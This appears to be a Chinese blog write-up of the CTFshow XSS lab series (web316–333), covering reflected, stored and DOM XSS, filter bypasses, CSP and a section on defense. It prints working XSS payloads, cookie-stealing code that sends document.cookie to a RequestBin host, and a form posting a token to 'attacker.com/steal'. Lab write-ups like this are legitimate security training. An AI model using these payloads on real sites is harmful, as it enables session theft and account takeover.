news 2026/5/14 18:21:09

CTFshow XSS靶场通关实录:从web316到333,我是如何一步步“偷”到管理员cookie的

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
CTFshow XSS靶场通关实录:从web316到333,我是如何一步步“偷”到管理员cookie的

CTFshow XSS靶场通关实录:从web316到333的实战思考

第一次点开CTFshow的XSS靶场时,我盯着web316的界面发呆了十分钟。作为一个刚接触网络安全的新手,那些看似简单的输入框背后隐藏着无数可能性。这不仅仅是一次技术挑战,更像是一场与系统设计者的隔空对话。接下来的两周里,我从基础的alert弹窗开始,逐步深入到复杂的cookie窃取、编码绕过和DOM操作,最终完成了从web316到333的全部挑战。这段经历不仅让我掌握了XSS的核心技术,更重要的是培养了一种"攻击者思维"——学会用恶意用户的视角审视每一个输入点。

1. 基础篇:理解XSS的本质与三种类型

在web316到318的挑战中,我深刻体会到XSS(跨站脚本攻击)的核心在于"信任"二字。系统信任了用户的输入,而我们正是要利用这种信任关系。

1.1 反射型XSS的突破点

反射型XSS的特点是恶意脚本通过URL参数注入,服务器未做过滤就直接返回给浏览器执行。在web316中,最简单的测试方式是:

<script>alert(1)</script>

但很快发现这个简单的payload被过滤了。经过多次尝试,发现系统只是过滤了<script>标签,于是改用其他标签:

<img src=x onerror=alert(1)>

关键学习点

  • 事件处理器(onerror/onload/onclick等)是绕过script标签过滤的有效方式
  • 大小写混淆(<ScRipt>)在某些场景下也能绕过基础防护
  • SVG标签往往拥有更多可执行属性

1.2 存储型XSS的持久性威胁

web317演示了存储型XSS的威力——恶意脚本被永久保存在服务器上,影响所有访问该页面的用户。这里我使用了一个简单的留言板场景:

<iframe src="javascript:alert(document.cookie)">

存储型XSS的危害更大,因为它不需要诱骗用户点击特定链接,只要访问正常页面就会触发。

1.3 DOM型XSS的客户端特性

web318展示了纯客户端的XSS,完全不经过服务器处理。通过分析页面源码,发现存在这样的代码:

eval(location.hash.substr(1))

利用方式是在URL后添加#alert(1)。DOM型XSS的检测通常需要:

  1. 仔细阅读前端JavaScript代码
  2. 寻找innerHTMLdocument.write等危险函数
  3. 跟踪用户可控的输入源(location/search/hash等)

注意:现代前端框架(React/Vue等)默认有XSS防护,但在不当使用时仍可能产生漏洞

2. 中级篇:绕过过滤与编码的艺术

从web319开始,挑战难度明显提升。单纯的alert弹窗已经无法满足要求,需要更精细的绕过技巧。

2.1 HTML实体编码的绕过

web319对特殊字符进行了实体编码转换,<变成&lt;>变成&gt;。经过测试,发现以下方法有效:

<svg/onload=alert(1)>

原理是:

  • 浏览器解析HTML时先进行实体解码
  • SVG标签允许省略尖括号间的空格
  • onload事件在SVG元素上同样有效

2.2 JavaScript编码技巧

当直接的事件处理器被过滤时,web320要求使用JavaScript伪协议:

<a href="javascript:alert(1)">点击</a>

更进一步,可以使用Base64编码绕过关键字检测:

<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">点击</a>

2.3 利用浏览器解析差异

web321展示了如何利用浏览器对HTML解析的特殊规则:

<image src=1 href=1 onerror="alert(1)"></image>

虽然<image>不是标准标签,但浏览器会尝试解析并执行事件处理器。其他有用的技巧包括:

  • 使用自闭和标签<img/src=x onerror=alert(1)//
  • 利用换行和制表符干扰过滤正则表达式
  • 混合多种编码(HTML+JS+URL)

3. 高级篇:实战cookie窃取与防御

从web325开始,目标从简单的弹窗变为实际的cookie窃取,这需要搭建接收平台并编写更复杂的payload。

3.1 搭建XSS接收平台

我选择了使用RequestBin来收集数据,基本payload结构如下:

var img = new Image(); img.src = 'http://requestbin.net/r/yourbin?cookie='+document.cookie;

实际应用中需要考虑:

  1. 缩短URL长度(使用短域名)
  2. 对cookie值进行URL编码
  3. 隐藏请求(通过setTimeout延迟发送)

3.2 绕过HttpOnly限制

当cookie标记为HttpOnly时,JavaScript无法直接读取。web328的解决方案是利用XSS进行界面操作:

var f = document.createElement('form'); f.action = 'http://attacker.com/steal'; f.method = 'post'; var i = document.createElement('input'); i.name = 'token'; i.value = document.querySelector('.token').innerText; f.appendChild(i); document.body.appendChild(f); f.submit();

3.3 利用CSP绕过技术

Content Security Policy本应限制XSS的影响,但配置不当反而会引入新问题。web330演示了如何利用unsafe-eval:

<script src="data:text/javascript,alert(1)"></script>

其他CSP绕过技术包括:

  • 利用可信域上的JSONP接口
  • 注入<meta>标签修改CSP策略
  • 通过iframe沙盒逃逸

4. 专家篇:非常规XSS与综合利用

最后的web331-333挑战需要结合多种技术,展示了XSS在复杂场景下的可能性。

4.1 基于DOM的客户端漏洞链

web331要求利用AngularJS的客户端模板注入:

<div ng-app> {{constructor.constructor('alert(1)')()}} </div>

这种漏洞不依赖服务器端处理,完全在客户端执行,传统WAF难以防御。

4.2 SVG文件中的XSS

web332展示了通过上传SVG文件实现存储型XSS:

<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>

SVG作为图像格式常被允许上传,却能包含完整的JavaScript执行环境。

4.3 结合CSRF的复合攻击

最终的web333需要结合XSS和CSRF进行管理员操作:

fetch('/admin/delete-user', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({username: 'victim'}) });

这种组合攻击的危害性远超单一漏洞,可以完全接管管理员账户。

防御视角的思考

完成全部挑战后,我转而从防御者角度审视XSS防护。有效的防御应该是多层次的:

  1. 输入验证

    • 白名单优于黑名单
    • 根据上下文使用不同过滤规则(HTML/JS/URL)
  2. 输出编码

    • 在显示位置进行编码,而非存储时
    • 使用安全的API如textContent替代innerHTML
  3. 安全头设置

    Content-Security-Policy: default-src 'self' X-XSS-Protection: 1; mode=block
  4. 现代框架特性

    • React的JSX自动转义
    • Vue的v-text指令
    • Angular的DomSanitizer

真正安全的系统应该假设所有用户输入都是恶意的,采用纵深防御策略。在项目开发中,我会特别关注那些直接操作DOM的代码段,因为那里往往是XSS的温床。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/14 18:21:07

Java8 CompletableFuture异步编排实战指南

1. 从零认识CompletableFuture异步编排 如果你曾经被Java多线程编程折磨得头大&#xff0c;那CompletableFuture绝对是你的救星。我在处理一个电商平台的订单系统时&#xff0c;发现传统的Future模式根本无法满足复杂的异步任务编排需求&#xff0c;直到遇见了CompletableFutur…

作者头像 李华
网站建设 2026/5/14 18:20:08

芯片高温高湿偏置HTHB测试:五大关键步骤与样品准备

在半导体可靠性测试的严苛世界里&#xff0c;高温高湿偏置&#xff08;HTHB&#xff09;测试如同一场“炼狱”般的终极考验。它模拟的是芯片在高温、高湿环境下长期带电工作的极端场景&#xff0c;是评估产品&#xff0c;尤其是车规级、工业级及消费电子芯片长期可靠性的黄金标…

作者头像 李华
网站建设 2026/5/14 18:18:55

AI 写论文哪个软件最好?2026 实测:真文献 + 实证图表 + 全流程合规,虎贲等考 AI 成毕业论文首选

每到毕业季&#xff0c;AI 写论文哪个软件最好就成为本科、硕士学生最关心的问题。市面上 AI 论文工具看似繁多&#xff0c;可真正能做到文献真实可查、实证图表可用、全流程规范、安全合规的少之又少。通用大模型文献造假、普通工具无实证能力、小众软件功能碎片化&#xff0c…

作者头像 李华
网站建设 2026/5/14 18:17:18

微信读书笔记同步终极指南:5分钟打造你的Obsidian知识库

微信读书笔记同步终极指南&#xff1a;5分钟打造你的Obsidian知识库 【免费下载链接】obsidian-weread-plugin Obsidian Weread Plugin is a plugin to sync Weread(微信读书) hightlights and annotations into your Obsidian Vault. 项目地址: https://gitcode.com/gh_mirr…

作者头像 李华
网站建设 2026/5/14 18:17:16

大语言模型如何革新推荐系统:从语义理解到对话式交互

1. 项目概述&#xff1a;当推荐系统遇见大语言模型最近几年&#xff0c;大语言模型&#xff08;LLM&#xff09;的火爆程度有目共睹&#xff0c;从写代码到做PPT&#xff0c;它似乎无所不能。作为一名在推荐系统领域摸爬滚打了十来年的老兵&#xff0c;我一直在思考一个问题&am…

作者头像 李华